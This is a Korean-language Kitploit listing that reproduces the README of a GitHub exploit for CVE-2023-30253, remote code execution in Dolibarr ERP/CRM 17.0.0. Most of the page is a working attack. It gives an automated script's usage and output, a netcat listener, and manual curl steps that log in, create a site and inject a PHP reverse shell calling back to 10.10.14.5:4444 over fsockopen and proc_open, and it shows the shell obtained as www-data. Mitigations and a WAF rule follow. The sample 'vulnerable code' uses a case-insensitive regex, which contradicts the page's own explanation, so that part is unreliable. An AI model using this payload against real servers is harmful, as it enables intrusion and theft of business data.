Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (교육용 익스플로잇) | Kitploit
도구/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (교육용 익스플로잇)

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 원격 코드 실행

Python 3.8+ License CVSS

PHP 코드 삽입 익스플로잇으로 Dolibarr ERP/CRM v17.0.0에서 Website/CMS 모듈을 통해 www-data 사용자로 리버스 셸을 획득할 수 있습니다.

⚠️ 교육 목적 및 승인된 감사에만 사용하세요.


📑 목차

  • CVE-2023-30253이란?
  • 취약점 작동 방식
  • 영향
  • 이 익스플로잇의 기능
  • 요구 사항
  • 설치
  • 사용법
  • 실습 예제
  • 익스플로잇 단계별 설명
  • 완화 조치
  • 참고 자료

🔍 CVE-2023-30253이란?

CVE-2023-30253은 Dolibarr ERP/CRM 17.0.1 이전 버전에서 발생하는 PHP 코드 삽입 취약점(CWE-94: 부적절한 코드 생성 제어)입니다.

이 취약점은 2023년 5월 Swascan(현재 Hacktivesecurity) 팀에 의해 발견 및 보고되었습니다. 취약점은 Website/CMS 모듈에 있으며, 인증된 사용자가 Dolibarr 내에서 웹사이트를 생성 및 관리할 수 있는 기능에 존재합니다.


⚙️ 취약점 작동 방식

Dolibarr는 Website 모듈의 페이지 콘텐츠에 PHP 코드를 삽입하지 못하도록 필터를 구현합니다. 그러나 이 필터에는 치명적인 결함이 있습니다: 대소문자를 구분한다는 점입니다.

root@kitploit:~
// 취약한 코드 (단순화) - Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // 소문자 "<?php"만 정확히 차단... 아니면?
    die("PHP code detected!");
}

필터는 소문자 <?php 문자열을 문자 그대로 찾습니다. 하지만 PHP는 시작 태그에 모든 대소문자 조합을 허용합니다. 즉, 다음을 의미합니다:

익스플로잇은 <?PHP(대문자)를 사용하여 필터를 우회하지만, 모든 변형이 작동합니다.

또한 필터는 콘텐츠를 저장할 때만 적용됩니다. 페이지를 제공할 때 Dolibarr는 추가적인 위생 처리 없이 콘텐츠를 PHP 인터프리터에 전달하며, PHP는 <? 시작 태그가 있는 모든 코드를 실행합니다.


💥 영향

인증된 공격자는 다음을 수행할 수 있습니다:

  • 서버에서 원격 명령 실행 (RCE)
  • Dolibarr 데이터베이스 액세스 (고객, 인보이스, 사용자)
  • 시스템의 민감한 파일 읽기 (/etc/passwd, 설정)
  • 내부 공격을 위한 피벗 지점으로 서버 사용
  • 멀웨어, 웹셸 또는 지속적인 백도어 설치

왜 치명적인가? Dolibarr는 기업용 ERP/CRM으로 사용됩니다. 침입으로 인해 고객 데이터, 재무 정보, 계약 및 내부 자격 증명이 노출될 수 있습니다.


🛠️ 이 익스플로잇의 기능

이 익스플로잇은 5단계로 전체 공격 과정을 자동화합니다:

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. 로그인          → Dolibarr에 인증                   │
│  2. 웹사이트 생성 → 빈 웹사이트 만들기                  │
│  3. 페이지 생성    → 사이트에 페이지 만들기             │
│  4. 셸 주입        → PHP 리버스 셸 주입                │
│  5. 트리거         → 페이로드 실행                     │
│                                                         │
│  결과: 🎯 www-data로 리버스 셸                          │
└─────────────────────────────────────────────────────────┘

특징:

  • ✅ 자동 CSRF 방지 토큰 처리
  • ✅ 쿠키를 통한 지속적인 세션
  • ✅ 자동 pageid 감지
  • ✅ 디버깅을 위한 상세 모드
  • ✅ 색상 출력 (비활성화 가능)
  • ✅ fsockopen + proc_open을 통한 리버스 셸 페이로드

📋 요구 사항

  • Python 3.8+
  • requests
  • beautifulsoup4

또는 간단히:

root@kitploit:~
pip install -r requirements.txt

📦 설치

root@kitploit:~
# 저장소 복제
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# 의존성 설치
pip install -r requirements.txt

🚀 사용법

root@kitploit:~
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]

위치 인수:

옵션:

옵션설명
-v, --verbose상세 디버그 정보 표시
--no-color출력에서 색상 비활성화
-h, --help도움말 및 예시 표시

🎯 실습 예제

터미널 1 — 리버스 셸 리스너 시작

root@kitploit:~
nc -lvnp 4444

터미널 2 — 익스플로잇 실행

root@kitploit:~
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

예상 출력

root@kitploit:~
════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE 익스플로잇
════════════════════════════════════════════════════════

  대상:   http://crm.board.htb
  사용자:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  사이트 ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] 1/5 단계: 로그인 중...
[10:45:12]   ✓ 세션이 올바르게 시작됨

[10:45:13] 2/5 단계: 웹사이트 생성 중...
[10:45:13]   ✓ 웹사이트 's3a1f2bc' 생성됨

[10:45:13] 3/5 단계: 사이트에 페이지 생성 중...
[10:45:13]   ✓ 사이트 내 페이지 생성됨

[10:45:14] 4/5 단계: 리버스 셸 주입 중 → 10.10.14.5:4444...
[10:45:14]   ✓ PHP 코드가 성공적으로 주입됨

[10:45:14] 5/5 단계: 페이로드 실행 중 (트리거)...

════════════════════════════════════════════════════════
  익스플로잇 완료
════════════════════════════════════════════════════════

  트리거 URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  지침:
  1. 다른 터미널에서 리스너를 시작하세요:
     nc -lvnp 4444
  2. 트리거 URL에 접속하세요 (익스플로잇이 이미 수행함)
  3. www-data로 리버스 셸을 받게 됩니다.

터미널 1 — 셸 획득 🎯

root@kitploit:~
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 익스플로잇 단계별 설명

수동으로 과정을 이해하고 싶다면(스크립트 없이), 전체 흐름은 다음과 같습니다:

1. 인증

root@kitploit:~
# 쿠키 및 CSRF 토큰 획득
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# 토큰 추출
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# 로그인
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

2. 웹사이트 생성

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

⚠️ 배운 점: 올바른 action 매개변수는 addsite이며, 일부 공개 익스플로잇에 나타나는 add가 아닙니다.

3. 페이지 생성

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

4. PHP 코드 주입

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

🔑 공격의 핵심: 올바른 필드는 PAGE_CONTENT이며, WEBSITE_CONTENT가 아닙니다. 많은 공개 PoC에 이 오류가 있습니다.

5. 페이로드 실행

root@kitploit:~
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

🛡️ 완화 조치

이 취약점으로부터 Dolibarr 서버를 보호하려면:

업데이트 (권장)

root@kitploit:~
# Dolibarr 17.0.1 이상으로 업데이트
# 패치는 `<?php`의 모든 변형을 감지하도록 필터를 수정함

Website 모듈 비활성화

Website/CMS 모듈을 사용하지 않는다면 다음 경로에서 비활성화하세요:

root@kitploit:~
홈 → 설정 → 모듈 → Website → 비활성화

WAF 규칙 (mod_security)

root@kitploit:~
# PAGE_CONTENT 필드에서 PHP 태그 변형 차단
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP 주입 차단됨'"

최소 권한 원칙

  • 일상 사용자에게 관리자 계정을 사용하지 마세요
  • Website 모듈에 접근할 수 있는 사용자를 제한하세요

📚 참고 자료

  • NVD — CVE-2023-30253
  • Swascan Advisory — Dolibarr 17.0.0 분석
  • Dolibarr GitHub — 패치 커밋
  • CWE-94: Code Injection
  • Hacktivesecurity — 원본 보고서

📝 면책 조항

이 프로젝트는 교육 및 정보 보안 연구 목적으로 만들어졌습니다. 명시적 승인 없이 시스템에 대해 이 익스플로잇을 사용하는 것은 불법이며 윤리적으로 비난받아 마땅합니다.

사이버 보안 전문가로서 저는 다음을 굳게 믿습니다:

  • 취약점의 책임 있는 공개
  • 승인을 받은 윤리적 해킹
  • 집단 보안 개선을 위한 지식 공유

제작자: Jean Carlos
사이버 보안 학생 | 펜테스팅 | CTF 플레이어
CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

도구 다운로드
필드값
CVECVE-2023-30253
CVSS v3.18.8 (높음)
VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
유형CWE-94 — Code Injection
영향 받는 소프트웨어Dolibarr ERP/CRM < 17.0.1
권한인증된 사용자 (모든 역할)
패치Dolibarr 17.0.1 — 커밋 4f6055c
태그필터링됨?PHP에서 실행됨?
<?php ... ?>✅✅
<?PHP ... ?>❌✅
<?Php ... ?>❌✅
<?pHp ... ?>❌✅
인수설명예시
targetDolibarr 기본 URLhttp://crm.board.htb
usernameDolibarr 사용자admin
passwordDolibarr 비밀번호admin
lhost사용자 IP (셸을 받을 IP)10.10.14.5
lport사용자 포트 (셸을 받을 포트)4444